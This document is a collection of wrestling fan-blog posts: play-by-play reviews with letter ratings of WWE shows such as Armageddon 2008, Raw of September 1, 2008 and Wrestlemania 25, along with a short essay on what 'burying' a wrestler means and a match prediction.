Cena reverses into an attempted FU but that gets countered into a DDT. Cena rolls to the floor and Jericho gets caught in another FU attempt but he counters THAT into a bulldog off the apron and onto the steps. Cool sequence there. Jericho stays on the neck which is good psychology from a master of it. Cena counters into his finishing sequence but it’s WAY too early for that.

Jericho manages another counter to the FU, this time into the Walls. Scratch that as it’s more like a door frame which is reversed by Cena anyway. Missile dropkick from the middle rope gets two. Nice fast paced match here so far. Throwback is blocked and Jericho hits the Lionsault for two. We go up top and Cena blocks a superplex and hits the top rope Fameasser for a delayed cover.

The ninth or so FU attempt is countered as Jericho lands on his feet and the Codebreaker gets two. Jericho charges at Cena again and this time gets caught in the FU. It only gets two and both guys are down. Jericho pulls a Bret and plays possum into a small package for two. Cena grabs the STFU but Jericho counters into the Walls. He manages to crawl through Chris’ legs and grabs the STFU for a relatively quick tap out.

Rating: B+. I liked this one as they had both guys moving out there the entire time and constantly countering the finishers. Cena tried the FU about 10 times but he kept hammering away until Jericho ran out of counters and got frustrated, resulting in his downfall. Nice story being told and great execution of it. What more can you ask for from a match like this?

We recap the Smackdown World Title match. Someone jumped Hardy to keep him out of the triple threat match at Survivor Series. Edge returned and stole the title from HHH. The attack on Hardy was called the most disgusting thing of the year for some reason because it implied Jeff was on drugs or something, despite that never being mentioned ever. Oh well I guess.

Smackdown World Title: Edge vs. HHH vs. Jeff Hardy

Solid heat on Edge and a solid gut also. Jeff goes straight for Edge as JR can’t remember if Jeff got attacked in Baltimore or Boston. Basic opening so far with Jeff driving the action. He sends Edge and HHH to the floor and dives on the Canadian. Trips takes his head off though so it’s Edge vs. HHH in the ring now. How was that never the main event of a bigger show than Great American Bash?

Jumping knee to the face puts Edge down as does a neckbreaker. Edge’s bad luck continues as he gets caught in a facebuster. Jeff back in now and he gets a facebuster for Christmas also. HHH tries the Pedigree to Edge but Jeff takes them both out with a Whisper in the Wind. The Game is down and Jeff gets crotched on the top. HHH comes in to get Edge and it’s a Doomsday Device with Jeff hitting a Whisper in the Wind instead of a clothesline. Edge’s bump is SCARY here as he lands on the back of his head.

Pedigree to Jeff is countered again and he goes into the buckle. Slingshot dropkick hits HHH but the Edge-O-Matic takes Jeff down for two. HHH’s bad luck continues in the form of a spear. Twist of Fate and Swanton hit HHH but Edge makes a last second save. Everybody goes to the floor and HHH is mostly dead.

Edge gets whipped around a lot and Jeff loads up the announce table. HHH pops up again and sends Edge onto the table but not through it. Jeff escapes a Pedigree and gets killed with a spear through the third table. Edge vs. HHH in the ring with the Canadian hitting an Edgecution for no cover. Spear is countered into the spinebuster and there’s the Pedigree.

Kozlov of all people pops up and breaks up the pin before beating on HHH. Matt Hardy comes out to get rid of Kozlov. Jeff goes up but Kozlov shoves him away before the Swanton can hit. Matt and Vlad go up the aisle and only Edge is in the ring. HHH comes back in but walks into a spear for two. A frustrated Edge goes to the floor and sets for a Conchairto.

Jeff grabs a chair and BLASTS Edge with it. He wants the Swanton but HHH crotches him. That was a sick, sick chair shot and it was only with one hand. HHH grabs the Pedigree in the corner but Jeff dives off the top with the Swanton to HHH and covers Edge for the pin and his first world title. The roof blows off the place and with good reason. The LD exploded and I did too, since I slept through the original broadcast of this and the first thing I saw was Jeff diving onto HHH.

Rating: B. Solid match all around here but the point here was for the ending. That Swanton and the reaction from the crowd was excellent. The whole thing worked perfectly and the match was good. Not sure why they had Kozlov and Matt in there but it wasn’t a big issue. The right man won here and that’s all that matters.

The last five minutes of this are spent on a huge celebration by Jeff. Totally awesome moment for one simple reason: this has been a year in the making and Jeff felt like he finally earned it. This could have been in the main event of Wrestlemania but the shock of it was a great bonus perk. I’m not a Hardy fan but this is still awesome on every possible level.

Jeff’s celebrating on top of the set ends the show.

Overall Rating: A. I really liked this show. The whole thing worked incredibly well and there isn’t a bad match to be found. You get an historical moment in the title change at the end, another good match in cena vs. Jericho, a big match in Orton vs. Batista and hot women in Santa outfits. What more can you really ask for from a show? I had a really good time with this and it’s worth seeing.

Armageddon is now done, leaving us with Unforgiven, Great American Bash, No Mercy and Backlash. This was a surprisingly good series with some bad shows but when it was good, it was REALLY good. The final one is probably the best or maybe 2005. Either way some of them are worth seeing but on the other hand some aren’t worth seeing at all. Translation: it’s just like every other PPV series.

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I Want To Talk A Little Bit About Burying

I mentioned this in a comment the other night but didn’t realize I hadn’t published it.This is the term that I hear used the most incorrectly around here and it’s time you guys got a brief lesson on what it means.

Let’s start by defining a burial. To bury someone in wrestling means that they are shoved down the card and no longer have the spot that they had. On top of that (adding more dirt onto it if you will) it means you’re not coming back out of it for a long time. In essence it means you’re done. There is next to no hope for your recovery and return to the spot you once had unless something major changes for you and probably others ahead of you.

And now, for one of the most important things I’ve ever say on here or anywhere else regarding wrestling. If you never pay attention to anything else I say, learn this for the collective intelligence of the planet: [b]You cannot be buried in one match.[/b] This is the biggest problem people seem to have with the term. For some reason there’s a mentality that says if you lose EVER, your career is over and you’re being buried. This is completely incorrect and I have no idea where this notion came from.

People lose matches. It has to happen. Losses mean nothing in wrestling. It’s all about the way you lose. Let’s take a look at an example. Christian hasn’t won a match that meant anything in months correct? I don’t think anyone would argue he’s anything less than the third biggest heel on Smackdown and arguably the second biggest. He loses all the time and yet he’s still every bit as over as he was when he started losing. For an older example, look at Chris Jericho, who lost clean to Evan Bourne on PPV. Did that bury him? Of course not. It put Bourne over, which is the point of a win like that.

So many times people mistake a rub for a burial. Tonight on Smackdown Orton lost to Barrett almost clean. Barrett looks like a bigger star and a more credible threat. Orton is going to be the top guy on Smackdown for a very long time even though he lost here. He’s down in the card more than he was over the summer, but he’s not being buried. Another reason you might lose a match is to turn. Razor Ramon got beat by a jobber named the 1-2-3 Kid clean on Raw but it wasn’t to bury him. It was to start his face turn that put him at his greatest glory ever in WWF.

For our final example, let’s look at an actual burial: Drew McIntyre. Drew was once the hottest thing in the company, on an undefeated streak and depending on various reports you might read, in line to win the world title by the end of the year. Then his wife got him in trouble and his push stopped. Drew stopped winning matches, stopped being featured, stopped being talked about, and now is lucky to get squashed once a month. It took time for him to go down the card to the point where it’s rare to see him on TV. He’s been buried and it took months to do so.

Get the idea now? There will be a quiz later.




Wrestlemania #28: Randy Orton vs. Kane

Because of a handshake from last summer.This is the only match that I think isn’t as predictable as the rest.  I don’t think this feud ends here and I think the match ends with Orton taking the chokeslam for the pin.  The rest of the show looks like it’s very easy to call out each match but there needs to be a heel that wins a match on here other than Team Johnny.  Kane vs. Orton is a feud that doesn’t make a lot of sense so therefore the feud needs to go on longer than most of this show right?

 

Thoughts/Predictions?




Monday Night Raw – September 1, 2008: Shawn Vs. Jericho Is Still Awesome

Monday Night Raw
Date: September 1, 2008
Location: Scottrade Center, St. Louis, Missouri
Commentators: Michael Cole, Jerry Lawler

I downloaded this show thinking that it was the 800th episode and that WWE couldn’t count, but I found out that they had a big 800th episode celebration later on. I’ve done that one already, or at least I will by the time you read this. That being said, I already have this show downloaded so I might as well throw it in as a bonus. Let’s get to it.

We open with an in memory graphic for Killer Kowalski. Always good to see.

This was taped on Sunday since Monday was Labor Day.

Here’s Orton to open the show and he’s apparently got a bad left arm. This is his return from an injury and his arm is still in a sling. Orton talks about how a brand is measured by its champions. When he was world champion, Raw dominated. Let’s look at the Divas Champion, Beth Phoenix. She’s running around like a lovesick puppy. And who is she in love with? Santino? Orton could beat him even while hurt. Moving onto the tag champions, how can Orton and DiBiase be called Priceless? It’s more like worthless.

However, that’s not the real problem here on Raw. Instead, Punk is the one running around disgracing the World Title. Four years ago, Punk was nothing in a nothing organization. Now he climbed a ladder and got a lucky win to become champion. Orton would love to take the title back right now but he’s not medically cleared. One day soon though, Orton will come back and take the title.

Cue Punk who looks WAY younger here. Punk talks about how he didn’t have his daddy and granddaddy getting him his spot. He’s world champion and he doesn’t drink, smoke etc. Know what else he doesn’t do? He doesn’t go out on his motorcycle at 3am and reinjure his shoulder for three more months. NICE. Punk calls Orton a joke and Randy goes to leave, so Punk says he’ll keep the title until Orton is ready to come back and lose to him.

Orton leaves and here’s JBL who is in the Scramble on Sunday. He says that in three days, the clock strikes midnight on Cinderella. The odds will catch up with Punk and the fans will get a real champion in JBL. JBL says he can clothesline anyone and pin them. Cue Kane who says he’s been home and hasn’t seen JBL’s clothesline there. He did however see Mysterio there, which means Rey is out of the Scramble match. Now cue Batista who spears everyone and stands tall.

Kofi Kingston vs. Charlie Haas

Haas is dressed as Cena in another imitation. Cena is out after having neck surgery so the fans popped big for the music. Kofi speeds things up to start but Haas knocks him down. He sets for the Shuffle but Kofi kicks him in the head followed by some dropkicks. Things speed up again and there’s the Boom Drop. Charlie gets in a right hand and tries the FU but Kofi escapes and Trouble in Paradise ends this quick.

Priceless yells at Orton so Orton slaps them and says take some action.

Teddy and Tiffany go to see Adamle because they run ECW. There’s going to be a battle royal for the ECW Scramble guys as well as one with the Raw guys. Adamle thinks this could become a tradition on Labor Day, like a Jerry Lewis telethon without the sick kids. Kane comes in and says Rey isn’t coming back like Adamle says. Adamle says he was hoping to make Rey feel good and show up either tonight or at Unforgiven.

Battle Royal

Matt Hardy, Finlay, Mark Henry, Chavo Guerrero, The Miz

Henry is champion coming in. I don’t think the winner gets anything here. Everyone goes after Henry to start but he throws them all away with ease. Matt is the only one that has any luck against him as he and Miz manage a double DDT. Finlay slams Chavo onto Henry, which is kind of stupid as it keeps Henry on the mat. Miz puts Finlay onto the apron but walks into a side effect.

Finlay comes back in for a double clothesline on Matt to put them both down. Henry throws out Chavo and Miz at the same time and then splashes Finlay in the corner. Matt goes after Henry as does Finlay but they can’t throw him out due to reasons of fat. Finlay is easily thrown out by Mark and after a brief flurry from Matt he’s tossed too to give Henry the pretty easy win.

Rating: D-. So let me get this straight: Henry, the champion and favorite coming into the match on Sunday just threw out all four of his opponents in about three and a half minutes with complete ease. How exactly is that supposed to make me want to see the match on Sunday again? Why are battle royals so hard to get right? They really should be easier than this to book.

Jericho looks at the contract for his unsanctioned match on Sunday with Shawn.

Jamie Noble vs. William Regal

Noble wants to date Layla so she’s here too. I don’t remember that pairing very well at all but this brings it back a bit. Granted it’s not exactly the biggest angle of all time. Regal annoyed Layla when she was dancing and Noble saved her so there’s your background. Regal is in his one piece swimsuit attire and he pounds Noble down with ease. A full nelson is easily countered and they trade some rollups for two. Regal punches him in the face to put him down as the beating continues. Out of nowhere, Noble grabs a small package for the quick pin. This was like a minute long.

Jillian Hall sings a bit before the next match.

Jillian Hall/Katie Lea Burchill/Beth Phoenix vs. Mickie James/Candice Michelle, Kelly Kelly

The Divas were much hotter in 2008. Beth is Women’s Champion and says she’s a great champion, which is a message to Orton. She says no one can challenge her which draws out Candice to be the mystery partner or something. Kelly vs. Katie to start with Kelly proving why she should stick to looking good, which she is in a bikini and chaps.

Off to Mickie and Jillian with Mickie getting caught in the heel corner. Beth comes in for a slingshot suplex for two. A neckbreaker lets Mickie tag in Candice, who just wasn’t that good. She cleans house and goes up in the heel corner for a cross body. Beth rolls through but Candice rolls into an ugly small package for the pin.

Rating: D+. Candice brought this WAY down. She was botching everything she tried and really messed up the match. They tried really hard to make her into the big deal of the division and it never quite worked. On another note, the Divas looked WAY better back then and could work better matches too. Such a shame.

Recap of Jericho vs. Shawn which was about Shawn having a bad eye and having to retire. Jericho blames Shawn for it and in a fight between them, Jericho punched Shawn’s wife. Shawn can’t quit after that so there’s an unsanctioned match this Sunday. This is a long
video but it’s good.

Santino Marella vs. D’Lo Brown

Santino debuts the Honk-A-Meter before the match. I saw this match at a house show earlier in the summer. Brown starts off fast getting two off a clothesline. A Shining Wizard (actually called that) sets up the Low Down but Santino moves and gets the very fast pin.

We get a classic moment from September of 1997 and the first Raw in MSG. It was the night Austin first Stunned Vince.

John Morrison/The Miz vs. Cryme Tyme

Cryme Tyme has the tag title belts which they stole. It’s a brawl in the aisle to start and here’s Priceless to beat down the thieves and to take back their titles. No match.

After a break Priceless shows Orton the belts but don’t say a word.

Smackdown Your Vote, the Republican edition. I’m a political geek so this is awesome.

Batista is asked what his game plan is for tonight. It’s to destroy everyone.

We run down the card for Sunday.

Battle Royal

Kane, Batista, CM Punk, John Bradshaw Layfield

Rey isn’t here but he’d be in the match on Sunday. Orton is at ringside when we come back from a break. Kane comes out last instead of Punk for some reason. Batista knocks everyone down to start and hits the worst spear I’ve seen in a very long time on JBL. Batista is a monster but there was zero impact there at all. Kane breaks up the Bomb on Punk with a big boot and Punk clotheslines Batista out.

A backdrop puts JBL out and it’s down to two. Punk tries whatever he can against Kane but the big boot and side slam take him down. Punk hits three knees in the corner but the bulldog is countered. He tries the GTS but Kane elbows out of it. Punk tries to springboard into the clothesline but Kane catches him by the throat and shoves Punk out for the win.

Rating: C. See how easy it is to give us a little drama going into Sunday? All you have to do is give someone other than the champion a win and it makes the fans think there’s some doubt as to who wins. The good part of a battle royal is that it makes the winner look good but the loser doesn’t lose anything because it’s just a battle royal.

Post match Punk and Orton stare at each other and Punk slaps him. Also Rey returns, completely defeating the purpose of not being in the battle royal, to beat down Kane and send him into the post and hit a 619 around the post.

Time for the contract signing. Jerry is the moderator and explains that there are no rules and WWE is absolved from any liabilities in the match. Both of them sign and Jerry thanks them but Jericho cuts them off. He wants to know why we have all the security. Shawn says it’s not his idea because if it were up to him it would be just the two of them. Jericho and Shawn agree that the security isn’t needed here so it’s just the two of them.

Jericho says he followed the advice Shawn gave him at Summerslam, “you know, before I hit your wife in the face.” He told them that he’d never be an egomaniac like Summerslam. Then he said not to watch Summerslam because he doesn’t want them to see what he’s capable of doing. Shawn says his family won’t be watching either. Someday he’ll tell them about it all though. About the day that his father almost walked away but couldn’t turn the other cheek because sometimes you have to spit in the eye of evil.

Shawn talks about how he’ll never forgive him for what he did, but he hopes on day God forgives Shawn for what he’ll do to Jericho on Sunday. They both get up but Lance Cade comes in to save Jericho which goes as well as you would expect for him. Really strong closing segment.

Overall Rating: B-. This was an odd show but it set up an odd PPV. The problem is that there were 15 people tied up in three matches so you could only do so much on TV before the PPV. That being said, the build was mostly good and the Shawn/Jericho stuff was awesome. At the end of the day when you have great promos and great matches, the feud is going to be great by default, and it was, giving us the feud of the year. Good show.

Here’s Unforgiven if you’re interested:

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Wrestlemania Count-Up – #25: Shawn And Undertaker Have A Masterpiece

Wrestlemania 25
Date: April, 5 2009
Location: Reliant Stadium, Houston, Texas
Attendance: 72,744
Commentators: Jim Ross, Michael Cole, Jerry Lawler
America The Beautiful: Some Pussycat Doll

Please keep in mind that this show was partially written live so excuse some of the in the moment emotional reactions.

Since this show literally is happening tonight, I won’t bother with any kind of a recap. We start with your standard history package that somehow never gets old to me at all.

Money In The Bank: CM Punk vs. MVP vs. Kane vs. Christian vs. Finlay vs. Mark Henry vs. Kofi Kingston vs. Shelton Benjamin

Finlay is breaking out the old school Fit Finlay shoulder pads. I’m digging it. After ten minutes of entrances, we’re underway. As usual I’m not even going to bother trying to keep track of everything that’s going on in this as it’s going to be all over the place like it always is.

Henry and Kane clear the ring almost immediately and the fans chant for Christian. Christian and Shelton take care of them as it’s back and forth already. Kofi may have hurt his knee on a big jump over the ladder and a dropkick. Henry and Kane go up but can’t get anywhere as we’re three minutes in. An army of midcarers takes care of Henry.

Four guys go up the ladder and the big guys take them down again. Finlay clears the ring and dives out on Kane. Christian takes out Kane and Finlay as this is kind of all of the place. What a shock indeed. Henry takes out all three of them to continue the tradition. Punk and Kofi hit stereo suicide dives. Shelton dives off the ladder and more or less lands on his head.

Shelton may have killed himself with that stupid flip. That scared the heck out of me. Also for those interested, I just found out that the tag titles was the preshow match with the Colons winning. It’s your general spotfest so far and that’s what it’s supposed to be. Crowd is fairly hot too.

Horny busts out a stepladder which gets him nowhere at all. Naturally a jumping midget can take out six guys. Finlay brings out the big ladder which is required viewing anymore. Kofi takes a good shot and is down already. He’s taking a big beating and it’s working pretty well.
Kofi is bumping like crazy in this match. I’m loving him so far as he’s the highlight of the show. Kane and Henry were dominant early on but here come the smaller people. Henry is back and is setting up a ladder. While he holds it up, Kofi runs up the side of it but falls and is caught in the World’s Strongest Slam in a sweet spot.

MVP comes in to pound of Henry which gets him nowhere again. MVP stops Shelton, Punk stops MVP, Christian stops Punk. Punk and Christian do a cool spot on a ladder that’s balanced from one ladder to the top rope and even though the Unprettier was botched, that’s hard to blame them for.

MVP almost makes it again but Shelton makes an incredible save. He runs up a ladder leaning against the ring then across a ladder between the rope and a ladder in the ring and then up the other ladder that MVP is on to make the last second save. That was incredible and as usual Shelton gets the spot of the match.

The botches in this match are killing it. These matches are really hard to call. Kane, Christian and Punk are fighting on the ladders and all but Punk fall, making him the first two time MITB winner!

Rating: C+. The problem here is the botches. There were a ton this year and the winner was kind of a letdown, and remember Punk is my favorite wrestler. It was a great opener, but not a great match if that makes sense. Too many people and really just a lot of one on ones for about twenty minutes. Not bad.

Axxess recap. Would be funner to be there to watch it.

Kid Rock performs. We don’t care as this is a food break for me. He’s on his third song and the reaction is priceless. There is absolute silence here as the fans simply could not care less. He does two old songs and his new one. My lord this is a waste of time. We don’t get the tag title match but we get this? Waste of time.

He is on his fourth song now. At least All Summer Long is a decent song, but do we need to hear this now? My goodness, he’s doing another one. The divas come out to dance with him. My headache is now at the grab a hatchet level, as this is at ten minutes now. After a big pyro display, it’s time for the battle royal. Holy goodness I’m bored.

25 Diva Battle Royal

Not even going to try to call this as we don’t even get the intros here. This is a freaking joke, thank you Kid Rock. No Trish or Lita means this isn’t a legit battle royal. We don’t even have a list or a face shot of all the divas. It’s a standard battle royal and I literally couldn’t be more bored. The commentators are sucking up to Kid Rock and I’m about to mute this. Literally people are being eliminated and it’s the first we hear of them. This is pathetic.

Santino is in drag as this is somehow even dumber every second. Never in my life have I seen a worse Mania match, period. Final there are Melina, Beth and Santino. I knew it. Freaking Santino wins. The commentators apparently don’t realize the massive tattoo on his chest. Has wrestling really fallen this far? The SFAC is going to be proud of this, and that is completely sickening to me.

Rating: N/A. This is the worst Mania match of all time. It was designed to get a stupid comedy guy on the show, we don’t know who was in it, they got no face time, and Kid Rock is the cause of it. I am officially angry about this freaking show. Such a waste of time. I’m not rating it because there isn’t a rating low enough for it.

Chris Jericho vs. Roddy Piper/Jimmy Snuka/Ricky Steamboat

Jericho has to beat all three to win. Massive recap as we’re somehow led to believe that Rourke won’t be at the show. Yeah right. Rourke actually is here. I’m surprised. They kind of get their own intros as their musics play but they stand on the ramp instead of going to the ring. Piper gets a decent pop. He looks decent too. Considering he had cancer less than two years ago, this is amazing. Flair accompanies them.

Piper is wearing a shirt which is likely a good thing. PIPER THROWS A DROPKICK!!! Off to Snuka who does his usual offense that gets him nowhere at all. And there’s the Liontamer to end him. He looked awful out there. Piper is mind blowing here. He looks as good as he did in WCW. Now is that a compliment or not?

As I type that, he’s eliminated via Codebreaker. This is literally 5 minutes in and it’s 1 on 1. I know this didn’t seem like it was five minutes but that’s how slowly these guys are moving. The old guys are getting to throw out some basic offense but it’s just leading to them being eliminated. Steamboat skins the cat in his 50s and of course we don’t see it. HE JUMPS OVER THE TOP ROPE! This is making up for everything.

Ross talks about how Jericho is staying with the Legends like it’s surprising. Steamboat is tearing this up and I’m wanting to stop the review to look at him go. This is incredible stuff considering no one expected a single thing out of him. He gets the cross body for two as Jericho is reeling. And then he walks into the Codebreaker to end it. That was amazing while it lasted.

Steamboat had me freaking out. Flair runs in and gets beaten up too. Of course Rourke gets in the ring and they have an impromptu boxing match. Rourke knocks him down as this is somehow dumber than it was before.

Rating: C+. Considering their ages and level of rust, this was mind blowing. Jericho had to win though. Steamboat had me on the edge of my chair. How he’s not called one of the best ever is beyond me. We’re three matches in and Steamboat has carried this. That’s a very bad sign. Let me make sure I have this straight: four hall of famers can’t beat up Jericho, but a 56 year old guy that boxed almost 15 years ago can beat him up?

In something funny, when they said go into the storm, it thundered at my house.

We get the recap talking about how Matt more or less tried to kill Jeff about three times. Of course he doesn’t prosecute him. He wrestles him. You have to love WWE.

Matt Hardy vs. Jeff Hardy

I miss Matt’s old heel attire. He looked like a legit monster. Naturally they got rid of them and made him an overrated face again. This has happened before but they made it big this time. I don’t think people are interested in this but whatever. Matt takes a shot with a WWE poster. How EXTREME! Matt takes Jeff down but Jeff gets up first. Well of course he does.

Crowd is waking up a tad here which might be exactly what this show needs. Matt has a bit of a gut which surprises me. Poetry in Motion with the assistance of a chair misses and here comes Matt. He takes out Jeff’s knee and just cracks him with the chair for two. Matt grabs a dry-vac from under the ring. Why a dry vac is under there is beyond me but it’s WWE so I’ll just kind of go with it.

Side effect on a chair gets two. Matt is dominating here as he bends Jeff’s back around the post. It’s table time but there’s no D-Von around to get it. What are we going to do??? They slug it out and neither guy goes through it. This is intense but kind of dull at the same time if that makes sense.

Jeff gets a kendo stick to crack away at him and here come the required trashcans. Slingshot dropkick into the can into Matt has him in big trouble. Swanton misses and Jeff is in trouble. Twist of Fate connect and only gets two. Almost zero heat on the kickout either. Matt goes for a Swanton which is blocked. The people of Houston just avoided a huge earthquake.

Matt gets CRACKED over the head with a chair in a sick looking and sounding shot. Jeff sets Matt on a table and then another table on top of that and splashes it and dang if he didn’t almost hit him! Back in the ring it only gets two. This needs to end like now.

The more successful one goes to the floor and pulls out some ladders. Well of course he does. Jeff misses a huge bump by setting up a huge ladder and then climbing up a regular one and jumping over the big one. He crashes down in pain and I’m slightly entertained. Matt does a sick looking Twist of Fate on a chair to close this out.

Rating: C. This wasn’t terrible and the ending was perfect. Matt’s finisher, not Jeff’s mistake ended it. There was no way Jeff could win this and he didn’t. It wasn’t great, but it could have been far worse. Not terrible. I just don’t think they had the intensity they wanted with this and it kind of showed through.

Legends of Mania commercial.

Orton is getting ready.

IC Title: JBL vs. Rey Mysterio

I miss the intros as I heat up my tacos. Mysterio looks like Doink the Clown. How does he manage to come up with a dumber outfit every Mania? Rey looks so ridiculous as apparently he’s the Joker. He’s also wearing bright green suspenders. Holy goodness it’s a 10 second match! WHAT ARE THEY DOING??? Rey hits the 619 and a splash and wins it?

Rating: N/A. This is officially the dumbest Mania of all time. There has to be like 40 minutes each for the last three matches.

JBL’s big announcement is that he quits, getting the pop of the night.

Undertaker vs. Shawn Michaels

If this match isn’t a 5 star classic, this is officially the worst Mania of all time, end of argument. Massive recap to start of course. The entrances are of course mind blowingly sweet with Taker coming up out of darkness and Shawn coming down from the ceiling in a white chariot like an angel. Ok that was awesome.

This just feels epic on all levels which is how it’s supposed to feel. And here we go. The fans pop for the bell. Think they’re excited? Sign a few rows back: It’s still real to me blast it! OH YES! Shawn scores a few points with some chops and then runs. Taker blocks a punch and throws Shawn over the top but Shawn catches himself.

HBK fakes a knee injury. Now that’s just brilliant. You know he’s never done that for Wrestlemania before! Basically an extended feeling out process here as neither guy can get an advantage going here. Big back drop by Taker and Shawn is in some trouble. Elbow gets one only. Old School gets a big ovation and Shawn is in trouble.

And so much for that as Taker misses a kick in the corner and Shawn goes for the knee. There go the dueling chants. Sharpshooter is blocked so Shawn uses a reverse figure four and Taker is in little trouble because he’s not going to tap. Taker’s solution to get out of this? Punch Shawn in the face. You can’t beat simplicity at times.

Taker unloads on him in the corner and gets the Snake Eyes and big boot combination. Shawn gets a bad crossface out of nowhere which sees Taker laying on his side. Taker stands up and gets a side slam to break up the hold. Nicely done. Shawn kicks him in the face and Taker glares at him. Forearm puts Taker down and we get a nip up at the same time Taker sits up.

Shawn sets for the elbow from the top but Taker sits up and Shawn is in trouble again. He counters that but walks into Hell’s Gate as he goes for the Figure Four again. A rope is grabbed and we head the to floor. Apron legdrop misses and Shawn avoids trouble. Baseball slide puts Taker down again. Moonsault to the floor misses though and Shawn is in big trouble again.

The momentum is changing every few seconds here and it’s great stuff. Taker hits the ropes and OH MY FREAKING GOODNESS! Taker dove over the ropes but overrotated and slammed his freaking head into the floor! He more or less killed a cameraman and there was a loud cracking sound. Luckily the replay shows that it was just the camera hitting the ground which is a nice break I guess.

Wow that was insane looking though. I was legitimately thinking they were going to have to stop it there. That was as scary as any bump I’ve ever seen. SOMEHOW, and I mean that literally, Taker isn’t dead. Shawn does a semi-heel turn and tries to get the count out win. To be fair though that might be better for Taker’s health at this point.

Taker BARELY makes it back in at nine and a half. I was actually thinking it was over there. There are those dueling chants again. Superkick is caught by a BIG old chokeslam for two as the crowd explodes. Tombstone, superkick, chokeslam. All of those were countered in a row but Shawn gets a BIG superkick for two. Sweet goodness I’d have bet on that one.

Shawn’s ticked off face is great. Taker grabs him by the throat and goes for the Last Ride but Shawn gets a sunset flip. Taker grabs him again and is like boy you’re getting drilled and hits a HUGE Last Ride for TWO. Wow these kickouts are incredible. Taker goes up and misses an elbow as both guys are down again.

Shawn is sent over the top but Skins the Cat. Taker catches him AGAIN in the Tombstone and Shawn is DEAD. Apparently DEAD doesn’t mean three though as Shawn kicks out AGAIN. This is incredible. Taker’s face is like NO FREAKING WAY. Shawn counters another Tombstone attempt with a spinning DDT of all things.

Michaels somehow gets up to the top rope and hits the big elbow but both guys are down again. Sweet Chin Music out of NOWHERE gets two. Well of course it did. With nothing else left from either guy they slug it out from their knees. Shawn chops away but Taker kicks him in the face to put him down.

Tombstone is countered AGAIN and Shawn gets a boot into the jaw of Taker in the corner to buy himself some time. Shawn goes up for a moonsault press but Taker somehow catches him and Tombstones him to death to FINALLY end this. In-freaking-credible. Absolutely amazing stuff and it WINS.
Rating: A+. Wrestlemania has been saved. Future edit: no it hasn’t. Go watch this match right now as it’s the best match I have ever seen.

Draft is coming in 8 days. I’m shaking after watching that. Never before have I been on the edge of my seat for a match.

World Heavyweight Championship: Edge vs. John Cena vs. Big Show

Standard recap leading to Edge and Show coming out first. Cena’s old rap song comes on and an army of John Cenas come out. There must be 80 or so of them. They all do You Can’t See Me and then Cena’s music hits. Pretty cool visual. We get the big match indroduction which I always love. Cena gets a decent pop with boos mixed in.

Edge is champion coming in here. We head into the triple threat formula almost immediately with various people being knocked out for awhile each. That’s fine but it gets rather repetitive. About five minutes pass with nothing but various one on one combinations. That’s not terribly interesting but it’s what we’ve come to expect in these things.

Cena hits his top rope Fameasser off the top rope and down goes Show. Off to Edge vs. Cena as I doubt Show will be in there for awhile. Edgecution gets two. More weak stuff here as Show is in faster than I expected him to be here. Chavo of all people runs out to save Show and takes an FU for his troubles.

Show gets tied up in the ropes and loudly shouts GET ME OUT OF HERE! Cena goes off on Edge as the fans aren’t really liking him. Five Knuckle Shuffle to Edge. Vickie gets up to save Edge but winds up getting speared onto Chavo. Both guys go down and Show is still stuck. Ah there he’s out.

Show goes off on them and manages to chokeslam Edge. FU attempt on Show but he gets out and drills Cena with the punch. Loud THANK YOU BIG SHOW chant from that. Edge gets a running spear through Show through the barricade. Back in the ring Cena counters the spear into the STFU.

Finally Show comes in for the save as this is actually pretty good. Back to Show vs. Edge for awhile as JR runs through Show’s measurements again. Show misses a Vader Bomb and here comes Cena again. The two non-monsters suplex Show in an always cool looking spot.

Everyone trades some more finishers and Edge gets a spear for two on Cena. Here’s your HOLY FREAKING CRAP spot of the match as Edge jumps on Show’s back with a sleeper so Cena is like screw it and picks up BOTH OF THEM AT ONCE IN THE FU! Edge falls off and Show takes the FU. Cena hits one on Edge onto Show for the pin and the title. Freaking sweetness.

Rating: B-. This was better than people gave it credit for. This wasn’t supposed to be the great and mighty be all end all title match and it wasn’t. It was a way to get the title onto Cena and make him look strong. It wasn’t bad and it accomplished its purpose. I liked it, but dang this would have been better if it was three matches earlier.

WM 26 is in Phoenix.

HOF Ceremony. Austin drives his ATV around and has a mini beer bash to kill time. I have no problem with this at all. It was needed to give the fans a breather and it’s not like Austin doesn’t deserve it.

Attendance is announced, but not called a record as we kill off even more time.

Massive recap video beforehand which kills the time so dead it’s scary. They’ve hated each other since Evolution, Orton is nuts and kissed Stephanie, HHH snapped, Orton faked being insane, HHH can’t disqualified or he loses the title.
WWE Title: Randy Orton vs. HHH

In the back, HHH passes both McMahons. Orton’s entrance literally goes on nearly two and a half minutes. There’s no special ordeal or anything. He’s just walking really, really slowly. HHH’s intro is long but not as long. We get BMI. Orton gets an RKO inside of two minutes but goes for the Punt and misses. HHH is up in about a minute and hits the Pedigree. What in the world is going on here?

And remember, HHH can’t get disqualified in a match based on hate. This is going so slow that it’s painful. They’re moving like molasses out there for crying out loud (as I quote my inner Hayden Panitierre from Remember the Titans). HHH has a bad shoulder now. Orton takes over for a good while as he works on the arm.

I like the pace of this match as it’s very slow but more violent. That’s what this is supposed to be. You’re supposed to have a guy that’s completely insane and a guy that’s desperate to defend his wife’s honor. Would you expect guys to be using Greco-Roman style here?

I like the brawling stuff. Wait for it…wait for it…YES! We get an Orton chinlock! All is right with the world! This is a more physical style and while it’s not great, it’s also not awful. This match isn’t really building to anything though. Ok I’m thinking I’m changing my mind on the pacing thing. This needs to be FAR more brutal given the story backing it up. It’s similar to Kane/Undertaker at Mania 14 where they were supposed to be in a war and just weren’t at all.

Orton takes him down with the backbreaker for two. I love that dropkick that Orton has. HHH FINALLY sends Orton to the floor to break the very long stretch of momentum he’s had. On the floor HHH keeps teasing various weapons shots but won’t do them because of the title thing. He sets for the Pedigree but Orton backdrops him through the announce table.

Elevated DDT hits on the floor and HHH is more or less done. He beats the count of course and Orton mixes up his offense with various types of stomps. Orton catches HHH coming of the top rope (WTF???) with a sick dropkick. Ref goes down and Orton hits an RKO. He gets the sledge but gets kicked leading to him getting punched beyond all reasonable measure. Pedigree and Orton is dead. Fireworks and we’re out. Well, that sums up the whole show.

Rating: F+. The ending was just a total letdown. Screw a good pace. This was a complete waste of time and had nothing good to offer at all. The ending is HHH’s revenge for his recent losses. Terrible way to close it out, absolutely terrible. Never in my life have I seen someone with a bigger ego. There is absolutely no reason whatsoever here for HHH to go over. Not a single one.

Orton was pushed to the freaking moon recently and he gets nothing for it? Likely he’ll get the belt at Backlash or something, but this was a waste. Any credibility he has is killed. That was awful and I don’t want to see even the letter that comes after G for a long, long time. Horrible.

